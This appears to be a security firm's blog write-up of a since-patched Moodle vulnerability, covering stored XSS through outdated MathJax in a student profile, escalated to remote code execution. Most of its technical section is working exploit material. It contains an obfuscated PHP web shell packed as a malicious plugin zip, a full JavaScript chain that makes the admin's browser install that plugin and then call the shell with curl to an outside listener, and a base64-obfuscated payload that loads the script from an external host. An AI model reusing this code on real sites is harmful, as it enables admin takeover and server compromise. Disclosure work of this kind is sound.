Hi all,

In this article, we will cover a vulnerability that we discovered last month and reported to the Moodle Security team, which they have since patched. This technique is an interesting way to exploit XSS beyond the typical alert box.

Introduction

What is Moodle?

Moodle is a Learning Platform or course management system (CMS) - a free open-source software package designed to help educators create effective online courses based on sound pedagogical principles. You can download and use it on any computer, including web hosts, and it can scale from a single-teacher site to a 200,000-student university. Moodle has a large and diverse user community with over 100,000 registered sites worldwide, speaking over 140 languages. - Moodle.org

Due to the COVID-19 pandemic, many universities started using Moodle to support their e-learning efforts and deliver educational content to students at home. We noticed a couple of Iraqi universities adopting the platform, which motivated us to start looking for interesting vulnerabilities. Since other hackers might exploit the lack of monitoring to attack students and universities during this time, we felt it was our ethical duty to contribute to supporting the world during this hardship. Take a look at the platform’s statistics.

It is obvious that Moodle is a popular open-source software, which attracts the attention of cybercriminals and script kiddies. Consequently, many open-source contributors are working on the project.

Technical Details

We used the Moodle sandbox demo to understand how the platform works and performed some fuzzing while browsing the demo. The first thing to remember is to check the roles model of the platform to better understand each role’s privileges. After that, we downloaded the latest version of the project to look for security issues with the least privileged role (student). The student role has very limited access and can perform only a few actions with filtered content.

First, we scanned the source code for obvious issues but found none, as the project is very mature and protected.

One thing we focused on during this phase was finding any kind of privilege escalation. We were in the middle of this when we found another interesting input: the Description WYSIWYG editor. The downloaded version didn’t show it, but the Moodle sandbox demo did! We examined it further and discovered:

To prevent misuse by spammers, profile descriptions of users who are not yet enrolled in any course are hidden. New users must enroll in at least one course before they can add a profile description.

So, we created a course and let the student account join it. Then we went to the following URL:

http://127.0.0.1/moodle/user/edit.php?id=3&returnto=profile

I tried every trick in the book to create a stored XSS, but nothing worked until I learned more about the Moodle plugin system and found that it uses MathJax. Although it isn’t visible, if you create a math equation with the following format: $$ x=1 $$, it will be rendered to:

Based on SecurityMB’s research, any MathJax version < 2.7.4 is vulnerable to XSS. With this in mind, we found that MathJax was enabled by default and that Moodle was using version 2.7.2!

Using the known attack vector $$ \unicode{<img src=1 onerror=alert(1)>} $$ from previous research, we were able to create a stored XSS in Moodle!

Now we have a stored XSS in the system! We can trick the admin into visiting our profile and getting XSSed!

However, the boring alert box was not enough for this adventure. We wanted to take it to the next level.

From XSS to RCE: Beyond the Alert Box

Since we have a stored DOM XSS, we can steal the cookie, but there is an option in Moodle to use HTTPonly cookies, so we can’t get the admin cookie. Moreover, universities set the path /admin to whitelist IP addresses only. What should we do now?

While surfing the web, I found an exploit that requires an admin user account to execute PHP commands and upload a shell on the Moodle instance. So, we can create a CSRF to do that, right?

To upload a Moodle plugin, it has to meet specific rules, which we quickly examined.

There are multiple stages before you can upload a plugin, so it isn’t a simple CSRF page. We need to create a file upload CSRF and perform two steps after the upload CSRF to execute our shell.

As you can see, there is an exploit in Ruby, but it differs from our attack vector. Here are the steps we followed while writing our exploit:

  1. Create version.php and /lang/en/block_rce.php files with the following content:

    • block_rce.php with @terjanq shell:

      <?=$_='$<>/'^'/{/{\{\{'\'\;\$\{\$\_\}\[\_\]\(\$\{\$\_\}\[\__\]);
      
    • version.php

      <?php 
      $plugin->version = 2020051300;
      $plugin->component = 'block_rce';
      
  2. Zip the two files to create rce.zip.

  3. Convert the rce.zip file from binary format to base64 using this code:

    <script>
    function onFileLoad(elementId, event) {
        document.getElementById(elementId).innerText = event.target.result;
    }
    function onChooseFile(event, onLoadFileHandler) {
        let input = event.target;
        let file = input.files[0];
        let fr = new FileReader();
        fr.onload = onLoadFileHandler;
        var fileContent = fr.readAsDataURL(file);
    }
    </script>
       
    <input type='file' onchange='onChooseFile(event, onFileLoad.bind(this, "contents"))' />
    <p id="contents"></p>
    
  4. Write the full exploit:

    codeconst URL = "http://127.0.0.1/moodle/"; // Change this to your target URL 
    fetch(URL + "admin/tool/installaddon/index.php", {
        credentials: "include",
    })
        .then((res) => {
        return res.text();
        })
        .then((data) => {
        let sesskey = data.split('"sesskey":"')[1].split('"')[0];
        let itemid = data.split("amp;itemid=")[1].split("&")[0];
        let author = data.split('title="View profile">')[1].split("<")[0];
        let clientid = data.split('client_id":"')[1].split('"')[0];
        // rce.zip 
        let url =
        "data:application/x-zip-compressed;base64,UEsDBAoAAAAAAHmCuFAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAACLhbhQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACADNoLlQGp+xOCMAAAAoAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsbdVibdVV7Gx01ePU68GAnVrlWqV+Nro+FgNKCM+VtMaAFBLAwQUAAAACACGhbhQ8uNzbUEAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAAeYK4UAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGABsztMBzjHWAWzO0wHOMdYB7kmh/M0x1gFQSwECHwAKAAAAAAC7gbhQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgA7OKXLc0x1gHs4pctzTHWAcnriynNMdYBUEsBAh8ACgAAAAAAi4W4UAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAORxW27RMdYB5HFbbtEx1gGsuPYszTHWAVBLAQIfABQAAAAIAM2guVAan7E4IwAAACgAAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgAKwWc07Yy1gErBZzTtjLWAWqgKf/MMdYBUEsBAh8AFAAAAAgAhoW4UPLjc21BAAAASQAAAA8AJAAAAAAAAAAgAAAAzQAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAJX8ImnRMdYBlfwiadEx1gF4spXKzDHWAVBLBQYAAAAABQAFANsBAAA7AQAAAAA=";
        fetch(url)
            .then((res) => res.blob())
            .then((blob) => {
            const file = new File([blob], "rce.zip", {
                type: "application/x-zip-compressed",
            });
       
            myFormData = new FormData();
            myFormData.append("title", "");
            myFormData.append("author", author);
            myFormData.append("license", "allrightsreserved");
            myFormData.append("itemid", itemid);
            myFormData.append("accepted_types[]", ".zip");
            myFormData.append("repo_id", 4);
            myFormData.append("p", "");
            myFormData.append("page", "");
            myFormData.append("env", "filepicker");
            myFormData.append("sesskey", sesskey);
            myFormData.append("client_id", clientid);
            myFormData.append("maxbytes", -1);
            myFormData.append("areamaxbytes", -1);
            myFormData.append("ctx_id", 1);
            myFormData.append("savepath", "/");
            myFormData.append("repo_upload_file", file, "rce.zip");
       
            fetch(
                URL + "repository/repository_ajax.php?action=upload",
                {
                method: "post",
                body: myFormData,
                credentials: "include",
                }
            )
                .then((res) => {
                return res.text();
                })
                .then((res) => {
                let zipFile = res.split("draft\\/")[1].split("\\/")[0];
                myFormData = new FormData();
                myFormData.append("sesskey", sesskey);
                myFormData.append(
                    "_qf__tool_installaddon_installfromzip_form",
                    1
                );
                myFormData.append("mform_showmore_id_general", 1);
                myFormData.append("mform_isexpanded_id_general", 1);
                myFormData.append("zipfile", zipFile);
                myFormData.append("plugintype", "block");
                myFormData.append("rootdir", "");
                myFormData.append(
                    "submitbutton",
                    "Install+plugin+from+the+ZIP+file"
                );
       
                fetch(
                    URL + "admin/tool/installaddon/index.php",
                    {
                    method: "post",
                    body: myFormData,
                    credentials: "include",
                    }
                )
                    .then((res) => {
                    return res.text();
                    })
                    .then((res) => {
                    // debugger;
                    let installzipstorage = res
                        .split('installzipstorage" value="')[1]
                        .split('"')[0];
       
                    myFormData = new FormData();
                    myFormData.append("installzipcomponent", "block_rce");
                    myFormData.append("installzipstorage", installzipstorage);
                    myFormData.append("installzipconfirm", 1);
                    myFormData.append("sesskey", sesskey);
       
                    fetch(
                        URL + "admin/tool/installaddon/index.php",
                        {
                        method: "post",
                        body: myFormData,
                        credentials: "include",
                        }
                    ).then(() => {
                        fetch(
                        URL + "blocks/rce/lang/en/block_rce.php?_=system&__=curl%20http://192.168.153.138:1234/"
                        );
                    });
                    });
                });
            });
        });
    });
    
  5. Upload this exploit to a cross-site host: http://sandbox.ahussam.me/rce_moodle.js.

  6. Write the trigger MathJax payload:

    $$ \unicode{<img src='x' onerror='eval(`eval(atob("dmFyIG5ld1NjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOyBuZXdTY3JpcHQuc3JjID0gImh0dHA6Ly9zYW5kYm94LmFodXNzYW0ubWUvcmNlX21vb2RsZS5qcyI7IG1haW5jb250ZW50LmFwcGVuZENoaWxkKG5ld1NjcmlwdCk7"))`)'>} $$
    
  7. Update the profile description with the previous payload.

  8. Send the URL to the admin user and listen on port 1234.

  9. When the admin opens the URL, the shell gets uploaded and you receive a curl connection.

We reported this finding to the Moodle team. They patched it and were very responsive and friendly during the process.

What Now?

If you think your site/app/network is secure and want to make sure of it, give us a call at contact@cube01.io.